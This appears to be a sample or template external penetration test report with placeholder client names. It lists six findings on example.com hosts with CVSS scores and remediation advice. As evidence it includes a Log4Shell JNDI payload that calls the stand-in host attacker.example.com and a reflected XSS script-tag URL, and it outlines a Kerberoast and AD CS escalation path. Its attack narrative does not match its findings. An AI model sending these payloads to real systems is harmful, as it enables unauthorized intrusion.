

May 2026

PREPARED FOR

[CLIENT NAME]

REPORT

External Penetration Test Report

PREPARED BY

[YOUR FIRM]

ENGAGEMENT WINDOW

May 1, 2026 — May 14, 2026

VERSION

v1.0

CHAPTER 1

Document Control

Client	[CLIENT NAME]
Engagement	ENG-2026-001
Engagement window	May 1, 2026 — May 14, 2026
Report version	1.0
Report date	May 16, 2026
Classification	CONFIDENTIAL
Prepared by	[YOUR FIRM]
Authors	Jane Doe — Lead Tester John Smith — Reviewer
Recipients	Alex Client — CISO Sam Stakeholder — Director of IT

1.1 Version History

Version	Date	Changes	Author
0.1	2026-05-10	Initial draft	Jane Doe
0.9	2026-05-13	Internal review pass	John Smith
1.0	2026-05-16	Final delivery to client	Jane Doe

CHAPTER 2

Statement of Confidentiality

This document contains information that is confidential and proprietary to [CLIENT NAME] and [YOUR FIRM]. It is intended solely for the named recipients above. No part of this document may be redistributed, copied, or quoted without the prior written consent of [CLIENT NAME].

The findings and recommendations in this report reflect the state of the target environment during the engagement window (May 1, 2026 — May 14, 2026) and may not reflect the current state of the systems described.

Distribution Restrictions

Treat this report as **CONFIDENTIAL**. Do not place on any internet-facing storage or share with parties not named in the **Recipients** row above without written approval from [CLIENT NAME]'s security organization.

CHAPTER 3

Contents

1	Document Control	1
1.1	Version History	1
2	Statement of Confidentiality	2
3	Contents	3
4	Executive Summary	4
4.1	Findings at a Glance	4
4.2	Top Risks	4
4.3	Vulnerability Report Card	4
5	Key Strengths	6
6	Key Areas for Improvement	7
7	Scope	8
7.1	In-Scope Targets	8
7.2	Out-of-Scope	8
7.3	Engagement Type	8
8	Methodology	9
9	Risk Rating Methodology	10
9.1	Likelihood × Impact Heuristic	10
10	Compliance Mapping	11
11	Attack Narrative	12
12	Findings	14
12.1	Findings (Scanner-generated)	14
12.2	Active Directory Findings	20
13	Remediation Roadmap	22
A	Appendix — Tools Used	23
B	Appendix — Glossary	24
C	Appendix — Severity / Status Legend	25

CHAPTER 4

Executive Summary

[YOUR FIRM] was engaged by [CLIENT NAME] to perform an external penetration test against the in-scope assets between May 1, 2026 and May 14, 2026. The objective was to identify exploitable vulnerabilities that could be leveraged by an unauthenticated attacker on the public internet, and to provide prioritized remediation guidance.

The testing team gained **unauthenticated remote code execution** on a public-facing application and pivoted to internal database systems containing customer PII. Several supporting weaknesses contributed to the overall impact and are documented as individual findings below.

4.1 Findings at a Glance



Distribution by severity, weighted by count (total: 6 findings).

4.2 Top Risks

- Unauthenticated RCE on the public web tier (F-001).** Allows full compromise of the application host without credentials.
- Blind SQL injection in the partner portal (F-002).** Enables read access to the entire customer database.
- Reflected XSS in the support search field (F-003).** Enables account-takeover of authenticated support staff.

4.3 Vulnerability Report Card

ID	Finding	Severity	CVSS	Status	Hosts
F-001	Apache Log4j2 Remote Code Execution (Log4Shell)	CRITICAL	10	OPEN	2

EXTERNAL PENETRATION TEST REPORT			EXECUTIVE SUMMARY			CONFIDENTIAL
ID	Finding	Severity	CVSS	Status	Hosts	
AD-001	Domain Admin compromise via Kerberoast + AD CS ESC1	CRITICAL	9	OPEN	2	
F-002	Publicly Exposed .git/config	MEDIUM	5.3	OPEN	2	
F-003	Reflected Cross-Site Scripting	MEDIUM	6.1	OPEN	1	
F-004	Cross-Site Request Forgery: missing anti-CSRF token	MEDIUM	4.3	OPEN	1	
F-005	HTTP Missing Security Headers (Strict-Transport-Security, CSP)	INFO	0	OPEN	2	

CHAPTER 5

Key Strengths

Following CPTC10 reporting practice, this engagement opens with the controls that performed well during testing. These should be preserved as the environment evolves.

- **Modern TLS configuration.** All external endpoints reject TLS 1.0/1.1 and disable deprecated cipher suites.
- **Restrictive egress filtering.** Compromised hosts had no ability to reach arbitrary internet destinations, blunting post-exploitation.
- **Mature OS-package patch cadence.** No findings were attributable to missing OS-level security updates.
- **Centralized identity provider.** SSO enrollment is enforced across all in-scope SaaS and reduced the value of credential-based attacks.

CHAPTER 6

Key Areas for Improvement

1. **Application input validation and output encoding.** Multiple findings trace to the same root cause and would be eliminated by a shared sanitization layer.
2. **Secrets management.** Hardcoded credentials and tokens were recovered from build artifacts and reachable backup files.
3. **Network segmentation between DMZ and internal data tier.** Once a DMZ host was compromised, no controls prevented direct database access.
4. **Web Application Firewall coverage.** The current WAF rule set did not detect the time-based payloads used during testing.

CHAPTER 7

Scope

7.1 In-Scope Targets

Hostname	IP	Service
app.example.com	203.0.113.10	HTTPS
api.example.com	203.0.113.11	HTTPS
partners.example.com	203.0.113.12	HTTPS
vpn.example.com	203.0.113.20	IKE/IPsec

7.2 Out-of-Scope

- Third-party SaaS providers
- Production databases (no destructive testing)
- Denial-of-service testing of any kind
- Physical and social-engineering attacks

7.3 Engagement Type

External, grey-box. Testers were provided with one set of standard-user credentials for the partner portal. No source code or internal network access was provided.

CHAPTER 8

Methodology

Testing followed the Penetration Testing Execution Standard (PTES) phases and OWASP Web Security Testing Guide (WSTG) checklists.

1. **Reconnaissance** — passive OSINT and DNS enumeration
2. **Scanning & enumeration** — TCP/UDP service discovery, version detection
3. **Vulnerability analysis** — manual + automated, false-positive triage
4. **Exploitation** — controlled, no destructive payloads
5. **Post-exploitation** — privilege escalation, lateral movement modeling
6. **Reporting** — this document

Rules of Engagement

Active exploitation was performed only during the agreed-upon testing window of May 1, 2026 — May 14, 2026, and only against in-scope hosts. All exploit payloads were logged and shared with the client.

CHAPTER 9

Risk Rating Methodology

Each finding receives a CVSS v3.1 base score (numeric) and a qualitative severity label. The severity bands are:

Severity	CVSS Range	Definition
CRITICAL	9.0 – 10.0	Immediate threat. Compromise of confidentiality, integrity, or availability with no prerequisites.
HIGH	7.0 – 8.9	Significant threat. Exploitable with low complexity or low privilege.
MEDIUM	4.0 – 6.9	Moderate threat. Exploitation requires non-trivial conditions.
LOW	0.1 – 3.9	Limited threat. Low impact and/or high exploitation barrier.
INFO	0.0	Informational. No direct security impact, but worth noting.

9.1 Likelihood × Impact Heuristic

In addition to CVSS, each finding is plotted on the matrix below. The matrix is used to sanity-check the numeric score against the engagement context.

L \ I	Very Low	Low	Medium	High	Very High
Very High	M	H	H	C	C
High	L	M	H	H	C
Medium	L	L	M	H	H
Low	VL	L	L	M	H
Very Low	VL	VL	L	L	M

Cell labels: **VL** very low · **L** low · **M** medium · **H** high · **C** critical. Likelihood (rows) increases upward; Impact (columns) increases rightward.

CHAPTER 10

Compliance Mapping

The following standards were used as reference frameworks during testing and are cited in individual findings where applicable:

- **OWASP Top 10:2021** — web application risks
- **PCI-DSS v4.0** — for components touching cardholder data
- **NIST SP 800-53 Rev. 5** — for general control alignment
- **CWE Top 25 (2024)** — for vulnerability classification
- **MITRE ATT&CK Enterprise v15** — for adversary technique mapping

CHAPTER 11

Attack Narrative

The compromise chain proceeded as follows:

1. **Recon.** Subdomain enumeration revealed `partners.example.com`, hosting a legacy build of the partner portal.
2. **Initial access.** An unauthenticated RCE in the portal's file upload handler (`F-001`) granted shell access as the application user.
3. **Privilege escalation.** A SUID misconfiguration on `/usr/bin/find` allowed escalation to `root`.
4. **Lateral movement.** Database credentials in `/opt/app/config/db.yml` enabled direct access to the internal customer DB, where blind SQL injection (`F-002`) was independently verified.
5. **Persistence (not deployed).** A systemd-timer persistence vector was confirmed but not deployed.

CHAPTER 12

Findings

12.1 Findings (Scanner-generated)

F-001

10

Apache Log4j2 Remote Code Execution (Log4Shell)

CRITICAL

CVSS 10

OPEN

RISK

HIGH

SOPHISTICATION

LOW

REMEDIATION

MEDIUM

IMPACT

High

LIKELIHOOD

High

AFFECTED SCOPE

https://api.example.com ,
https://api.example.com/login

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVSS V3.1 CRITERIA

Attack Vector	Network	Attack Complexity	Low
Privileges Req'd	None	User Interaction	None
Scope	Changed	Confidentiality	High
Integrity	High	Availability	High

VULNERABILITY DESCRIPTION

Apache Log4j2 versions 2.0-beta9 through 2.15.0 (excluding 2.12.2) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

BUSINESS IMPACT

[Business impact pending — write 2-4 sentences in client terms.]

PROOF OF CONCEPT / EVIDENCE

Request

```
POST /login HTTP/1.1
Host: api.example.com
Content-Type: application/json
{"username":"${jndi:ldap://attacker.example.com/a}", "password":"x"}
```


5.3

F-002

Publicly Exposed .git/config

MEDIUM

CVSS 5.3

OPEN

RISK

MEDIUM

SOPHISTICATION

MEDIUM

REMEDIATION

LOW

IMPACT

Medium

LIKELIHOOD

Medium

AFFECTED SCOPE

https://app.example.com ,
https://app.example.com/.git/config

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS V3.1 CRITERIA

Attack Vector	Network	Attack Complexity	Low
Privileges Req'd	None	User Interaction	None
Scope	Unchanged	Confidentiality	Low
Integrity	None	Availability	None

VULNERABILITY DESCRIPTION

The repository's .git/config file is reachable on the public web server, exposing remote URLs and potentially credentials.

BUSINESS IMPACT

[Business impact pending — write 2–4 sentences in client terms.]

PROOF OF CONCEPT / EVIDENCE

Request

```
GET /.git/config HTTP/1.1
Host: app.example.com
```

Response

HTTP/1.1 200 OK

[core]

repositoryformatversion = 0

6.1

F-003

MEDIUM

CVSS 6.1

OPEN

Reflected Cross-Site Scripting

RISK

MEDIUM

SOPHISTICATION

MEDIUM

REMEDIATION

LOW

IMPACT

Medium

LIKELIHOOD

Medium

AFFECTED SCOPE

https://app.example.com/support/search?q=<script>alert(1)</script>

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVSS V3.1 CRITERIA

Attack Vector	Network	Attack Complexity	Low
Privileges Req'd	None	User Interaction	Required
Scope	Changed	Confidentiality	Low
Integrity	Low	Availability	None

VULNERABILITY DESCRIPTION

Reflected XSS detected on the `q` parameter of the support search page. The unescaped value is rendered inside an inline block.

BUSINESS IMPACT

[Business impact pending — write 2–4 sentences in client terms.]

REMEDIATION

Phase: Architecture and Design — Use a vetted library or framework that does not allow this weakness to occur (e.g., the Anti-XSS library) or provides constructs that make this weakness easier to avoid.

CWE

CWE-79

OWASP

OWASP A03:2021

References

<https://www.zaproxy.org/docs/alerts/40012/>

F-004

4.3

Cross-Site Request Forgery: missing anti-CSRF token

MEDIUM

CVSS 4.3

OPEN

RISK

MEDIUM

SOPHISTICATION

MEDIUM

REMEDIATION

LOW

IMPACT

Medium

LIKELIHOOD

Medium

AFFECTED SCOPE

https://app.example.com/profile/update

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

CVSS V3.1 CRITERIA

Attack Vector	Network	Attack Complexity	Low
Privileges Req'd	None	User Interaction	Required
Scope	Unchanged	Confidentiality	None
Integrity	Low	Availability	None

VULNERABILITY DESCRIPTION

The HTML form on /profile/update does not include an anti-CSRF token. A logged-in victim can be forced into changing their profile via a malicious cross-origin request.

BUSINESS IMPACT

[Business impact pending — write 2–4 sentences in client terms.]

REMEDIATION

Use a synchronizer token pattern: a unique per-session token included in every state-changing form and verified server-side.

CWE

CWE-352

OWASP

OWASP A01:2021

References

https://www.zaproxy.org/docs/alerts/10202/

F-005

0

HTTP Missing Security Headers (Strict-Transport-Security, CSP)

INFO

CVSS 0

OPEN

RISK

LOW

SOPHISTICATION

HIGH

REMEDIATION

LOW

IMPACT

Low

LIKELIHOOD

Low

AFFECTED SCOPE

https://app.example.com ,
https://app.example.com/

VULNERABILITY DESCRIPTION

The response does not include Strict-Transport-Security and Content-Security-Policy headers, leaving the site exposed to protocol-downgrade and cross-site scripting risks.

BUSINESS IMPACT

[Business impact pending — write 2–4 sentences in client terms.]

REMEDIATION

Add Strict-Transport-Security (HSTS) and a restrictive Content-Security-Policy header to all responses at the edge / framework layer.

CWE

CWE-693

References

<https://owasp.org/www-project-secure-headers/>

F-005 · INFO · CVSS 0

12.2 Active Directory Findings

AD-001

9

Domain Admin compromise via Kerberoast + AD CS ESC1

CRITICAL

CVSS 9

OPEN

RISK

HIGH

SOPHISTICATION

LOW

REMEDIATION

MEDIUM

IMPACT

High

LIKELIHOOD

High

AFFECTED SCOPE

corp-dc01.corp.local ,
corp-ca01.corp.local

CVSS VECTOR

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

CVSS V3.1 CRITERIA

Attack Vector	Network	Attack Complexity	High
Privileges Req'd	Low	User Interaction	None
Scope	Changed	Confidentiality	High
Integrity	High	Availability	High

VULNERABILITY DESCRIPTION

A standard domain user (JANE) can chain a Kerberoast against the SQLSVC service account with an ESC1-misconfigured certificate template (VulnerableUserCert) to obtain a TGT impersonating any user — including Domain Admins. The path requires no prior elevation; the only prerequisite is an authenticated session on a domain-joined host.

BUSINESS IMPACT

Full compromise of the corp.local forest. An attacker who walks this path gains domain-administrator-equivalent control over every host, every account, and every certificate issued in the environment. Recovery requires a full domain-wide credential reset and the revocation/re-issuance of every certificate issued by CORP-CA01.

PROOF OF CONCEPT / EVIDENCE

CHAPTER 13

Remediation Roadmap

Findings are ordered by severity. Each row references the canonical finding by ID.

Priority	ID	Recommended Action	Severity	Status
1	F-001	Upgrade Apache Log4j2 to a version of 2.17.0 (Java 8) or 2.12.3 (Java 7) or 2.3.1 (Java 6).	CRITICAL	OPEN
2	AD-001	Three independent fixes — apply all of them: (1) Set a 30+ character random password on SQLSVC and/or migrate to a Group Managed Service Account (gMSA) to defeat offline Kerberoasting. (2) Remove the <code>ENROLLEE_SUPPLIES_SUBJECT</code> flag from the VulnerableUserCert template, or restrict its enrollment ACL to a known-good security group. (3) Audit AD CS templates with <code>Certify.exe find /vulnerable</code> and remediate every ESC1–ESC8 finding, not only this one.	CRITICAL	OPEN
3	F-002	Block access to <code>.git/</code> at the web server or reverse proxy layer.	MEDIUM	OPEN
4	F-003	Phase: Architecture and Design — Use a vetted library or framework that does not allow this weakness to occur (e.g., the Anti-XSS library) or provides constructs that make this weakness easier to avoid.	MEDIUM	OPEN
5	F-004	Use a synchronizer token pattern: a unique per-session token included in every state-changing form and verified server-side.	MEDIUM	OPEN
6	F-005	Add Strict-Transport-Security (HSTS) and a restrictive Content-Security-Policy header to all responses at the edge / framework layer.	INFO	OPEN

CHAPTER A

Appendix — Tools Used

- **Reconnaissance:** amass, subfinder, httpx
- **Scanning:** nmap, masscan, nuclei
- **Web testing:** Burp Suite Pro, sqlmap, ffuf
- **Post-exploitation:** linpeas, BloodHound, CrackMapExec
- **Reporting:** Typst, this template

CHAPTER B

Appendix — Glossary

- **CVSS:** Common Vulnerability Scoring System
- **CWE:** Common Weakness Enumeration
- **MITRE ATT&CK:** Adversarial Tactics, Techniques, and Common Knowledge
- **OSINT:** Open-Source Intelligence
- **PoC:** Proof of Concept
- **RCE:** Remote Code Execution
- **XSS:** Cross-Site Scripting

CHAPTER C

Appendix — Severity / Status Legend

Severity	Action SLA
CRITICAL	Patch within 24 hours
HIGH	Patch within 7 days
MEDIUM	Patch within 30 days
LOW	Patch within 90 days
INFO	Track for future review

Status	Meaning
OPEN	Confirmed during this engagement and not yet addressed.
REDISCOVERED	Reported in a prior engagement and re-observed in this one.
IN PROGRESS	Remediation work has begun and is being verified.
REMEDIATED	Verified as fixed during retest.
RISK ACCEPTED	Client has formally accepted the risk.